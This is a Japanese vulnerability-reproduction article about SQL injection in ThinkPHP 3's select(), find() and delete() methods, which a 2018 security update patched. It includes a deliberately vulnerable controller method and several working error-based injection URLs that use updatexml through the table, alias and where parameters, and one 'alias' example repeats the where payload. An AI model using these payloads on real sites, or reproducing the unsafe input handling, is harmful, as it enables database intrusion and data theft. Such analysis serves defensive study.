ホームページ >PHPフレームワーク >ThinkPHP >thinkphp3に脆弱性はありますか?

thinkphp3に脆弱性はありますか?

藏色散人
藏色散人オリジナル
2019-08-06 11:31:112735ブラウズ

thinkphp3に脆弱性はありますか?

#thinkphp3 には脆弱性がありますか?

thinkphp3 には脆弱性がありますが、2018 年 8 月 23 日木曜日、北京時間 11 時 25 分に、tp チームは更新が停止されている thinkphp 3 シリーズのセキュリティ更新を作成しました。分析の結果、この更新は配列型データを渡す可能性のある select()、find()、および delete() メソッドによって引き起こされる複数の SQL インジェクションのリスクを修正します。

#0x01 脆弱性の再発

# ソース コードのダウンロード: git clone https://github.com/top-think/thinkphp.git

git checkout コマンドを使用してバージョンを最後のコミットにロールバックします: git checkout 109bf30254a38651c21837633d9293a4065c300b

phpstudy などの統合ツールを使用して thinkphp をビルドし、Apache 構成ファイル httpd を変更します-conf

DocumentRoot "" は thinkphp が配置されているディレクトリです。

phpstudy を再起動し、127.0.0.1 にアクセスし、thinkphp が正常に実行されていることを示す thinkphp ウェルカム メッセージを出力します。 thinkphp3に脆弱性はありますか?

#データベースを構築します。データベースは tptest、テーブルは user、テーブルには id、username、passの 3 つのフィールドがあります

thinkphp3に脆弱性はありますか?

Application\Common\Conf\config.php 構成ファイルを変更し、データベース構成情報を追加します。

thinkphp3に脆弱性はありますか?

Application\Home\Controller\IndexController.class.php に次のコードを追加します。

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }
thinkphp3に脆弱性はありますか?select() メソッドと find() メソッドの場合、注意すべき箇所はたくさんありますが、ここでは主に 3 つのテーブル、エイリアス、場所を列挙します。詳細については、parseSql の各種 parseXXX メソッドを自分で追跡してください。having、group など、目視検査が可能です。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

delete() メソッドにも同じことが当てはまります。ここでは、テーブル、エイリアス、および where の 3 つの大まかな例を示します。ただし、テーブルとエイリアスを使用する場合は、次のことも行う必要があります。空でないことを確認します (詳細な理由は後で説明します)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
thinkphp3に脆弱性はありますか?

github 上のコミットを比較すると、この更新が主に ThinkPHP/Library/Think/ にあることが大まかにわかります。モデル .class.php ファイルでは、delete、find、select の 3 つの関数が変更されました。

以上がthinkphp3に脆弱性はありますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。